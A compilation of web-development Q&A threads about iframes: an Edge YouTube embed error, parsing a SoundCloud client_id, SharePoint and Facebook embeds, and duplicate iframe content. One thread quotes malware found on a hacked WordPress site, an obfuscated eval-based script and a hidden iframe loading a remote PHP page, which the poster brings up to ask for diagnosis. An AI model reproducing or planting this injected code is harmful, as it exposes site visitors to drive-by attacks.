Does the youtube iframe embed cause errors for just Edge? - google-chrome-extension

Just using the following embed seems to throw errors for Edge on mac, while Firefox, Chrome and Safari work just fine. Am I missing something, or is this the same for everyone?
The snippet copied from youtube:
<iframe width="560" height="315" src="https://www.youtube.com/embed/9aAkFJj4H4I" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Errors in Edge:
remote.js:34 GET chrome-extension://invalid/ net::ERR_FAILED comes from https://www.youtube.com/s/player/5253ac4d/player_ias.vflset/en_US/remote.js
Working example: https://codepen.io/roelvanhintum/live/KKVxwLq

Related

How to find a specific part of a link in page source with python

<iframe src="https://secure.soundcloud.com/web-auth?client_id=EsiVJzOTNkZdcfQL0nbifcrQdmMnR61R&device_id=312440-609464-697869-8080" sandbox="allow-popups allow-popups-to-escape-sandbox allow-scripts allow-same-origin allow-forms" class="webAuthContainer__iframe" scrolling="no" marginwidth="0" marginheight="0" width="100%" height="500">
</iframe>
I'm trying to get the client_id= from this line above in the page source from a soundcloud.com endpoint using python.
Soundcloud client_id's change very often and I would like to visit this page every time I run my script to retrieve the new one.
So I'm looking to have EsiVJzOTNkZdcfQL0nbifcrQdmMnR61R saved to a variable in this case, but I'm not sure how to go about doing it as im pretty new to python.
I would like to give the re module a try but it's very overwhelming as im still very new
Here's how you can do this:
import re
from bs4 import BeautifulSoup
sample = """
<iframe src="https://secure.soundcloud.com/web-auth?client_id=EsiVJzOTNkZdcfQL0nbifcrQdmMnR61R&device_id=312440-609464-697869-8080" sandbox="allow-popups allow-popups-to-escape-sandbox allow-scripts allow-same-origin allow-forms" class="webAuthContainer__iframe" scrolling="no" marginwidth="0" marginheight="0" width="100%" height="500">
</iframe>
"""
soup = BeautifulSoup(sample, "html.parser").find("iframe")
id_value = re.search(r"client_id=([^&]+)&", soup["src"]).group(1)
print(id_value)
Output:
EsiVJzOTNkZdcfQL0nbifcrQdmMnR61R

sharePoint 365 Iframe issue

I have an issue with Office 365 HTML page , when I add any js file from another CDN or external URL it will not work, even adding Ifram it's not working.
here is a sample of that code :
<!-- INSTANSIVE WIDGET -->
<script src="assets/js/instansive.js"></script>
<iframe src="//instansive.com/widgets/cdf503d7211fb7e7034b029afb67aacf75c3087b.html" id="instansive_cdf503d721" name="instansive_cdf503d721" scrolling="no" allowtransparency="true" class="instansive-widget" style="width: 100%; border: 0; overflow: hidden;"></iframe>
Please if any solution let me know.
thanks
The reason your iframe is not working is because you are missing the http: in the source path.
Change:
src="//instansive.com/widgets/cdf503d7211fb7e7034b029afb67aacf75c3087b.html"
Change to:
src="http://instansive.com/widgets/cdf503d7211fb7e7034b029afb67aacf75c3087b.html"
I tested the change and it works correctly on my machine (Macbook Air) using chrome.
Cheers and happy coding!

Quirks Mode = Canary in the Coal Mine? Is the css breaking in IE8 a sign my WordPress site is hacked and if so, what is this script?

I noticed the site was behaving strangely in IE8, and found in IE8 developer tools that it was rendering in quirks mode even though it uses the Doctype html declaration (which should make all browsers render in standards mode). In any case, in IE8 developer tools, some code was visible that wasn't visible in Chrome dev tools or in source code:
<script>if(window.document)try{new"a".prototype}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='fromChar';f+='Code';}ee='e';e=window[zz];t='y';}h=Math.atan2(3,0)/Math.PI*-4;n="3.5p3.5p51.5p50p15p19p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p19.5p60.5p5.5p3.5p3.5p3.5p51.5p50p56p47.5p53.5p49.5p56p19p19.5p28.5p5.5p3.5p3.5p61.5p15p49.5p53p56.5p49.5p15p60.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p58.5p56p51.5p57p49.5p19p16p29p51.5p50p56p47.5p53.5p49.5p15p56.5p56p48.5p29.5p18.5p51p57p57p55p28p22.5p22.5p51p56.5p56p52.5p59p50p59.5p54p52p53.5p22p50p53p54p49.5p57p22p54.5p56p50.5p22.5p49p22.5p25p23p25p22p55p51p55p30.5p50.5p54. --- etc. etc. </script>
This code above appears right before the Doctype declaration in this wordpress html - making IE8 render in Quirks Mode... what the heck is this? It seems to be inserting this html, including iframes with src pointing at flnet.org at the top of the html that should be there:
<HTML class=" js no-flexbox no-canvas no-canvastext no-webgl no-touch no-geolocation postmessage no-websqldatabase no-indexeddb hashchange no-history draganddrop no-websockets no-rgba no-hsla no-multiplebgs no-backgroundsize no-borderimage no-borderradius no-boxshadow no-textshadow no-opacity no-cssanimations no-csscolumns no-cssgradients no-cssreflections no-csstransforms no-csstransforms3d no-csstransitions fontface generatedcontent no-video no-audio localstorage sessionstorage no-webworkers no-applicationcache no-svg no-inlinesvg no-smil no-svgclippaths" sizcache="4" sizset="0">
<HEAD>
<STYLE class=iepp-printshim media=print></STYLE>
<TITLE>[website title]</TITLE>
<SCRIPT>[repeat of script from above]</SCRIPT>
</HEAD>
<BODY class="home page page-id-280 page-template page-template-gallery-php" sizcache="4" sizset="0">
<IFRAME style="DISPLAY: none" id=jQuery_history src="advanced.html"></IFRAME>
<IFRAME style="POSITION: absolute; VISIBILITY: hidden; TOP: 0px; LEFT: 0px" height=10 src="http://hsrkxfyujm.flnet.org/d/404.php?go=1" width=10></IFRAME>
So, because the doctype isn't first, IE8 renders in Quirks Mode; more importantly, this seems to be a security incursion. Does anyone recognize it or know how to deal with it in WordPress... ?
The code you're seeing these is obfuscated JavaScript. It is a symptom of your site being compromised.

Getting the "like" button to appear on ALL of my web site's pages

I have been able to ge the "like" button to appear on my home page, but cannot get it to show up on ALL my pages on the site. I have tried copying & pasting this code:
<iframe src="http://www.facebook.com/plugins/like.php?href=<?php echo urlencode('http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']) ?>&layout=standard&show_faces=true&width=450&action=like&colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:px"></iframe>
I found this code here:
http://www.greenlabeldesign.com.au/2010/04/inserting-the-facebook-like-feature-on-your-website/
Any suggestions on how to implement this feature?
My web site is www.connieskids.com
You need to include facebooks javascript file on all pages:
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>

2 iframes with the same display even if the src are different

I am using this code:
<div class="infobox-pair">
<div class="ibp-left">
<iframe width="105" height="350" frameborder="0" scrolling="no" style="width: 311px; height: 105px;" marginwidth="0" marginheight="0" name="infobox_flight" id="ibp-left-iframe" src="http://mywebpage.com/paris"></iframe>
</div>
<div class="ibp-right">
<iframe width="105" height="350" frameborder="0" scrolling="no" style="width: 311px; height: 105px;" marginwidth="0" marginheight="0" name="infobox_package" id="ibp-right-iframe" src="http://mywebpage.com/lisbonne"></iframe>
</div>
That is displaying into the same div two different iframes. When I display the page whatever the browser it happens that I can get the same content for both the iframes even if looking at the source code the iframe are still different (based on their src and id).
It doesn't happen 100% of the time, I have to refresh sometimes several times to see it.
Do you have any clue ?
Thanks in advance
One thing to keep in mind, when you refresh in IE and some other browsers, the browser will retain the "current" src="" value for iframe, so if you navigated around a bit in the iframes, then hit F5, the current last navigated path for each iframe is still in the iframes. Is it possible you navigated to the same page somehow?
The only reliable way to get the iframes to "Reset" back to their initial src values on a refresh(f5) is to use javascript to set their src as a part of the page load event. I recommend setting the initial src in markup to just "about:blank" and alwyas programatically change it.
This has been a long time answered but have some additional info that might help web developers.
If you have loaded iFrame 1 in the browser before, then the newly added iFrame 2 will show the same content, even after refreshing multiple times. Try hitting Ctrl + F5, or clearing your temp files in browser, this can reset the iFrame src to it's correct value.

Resources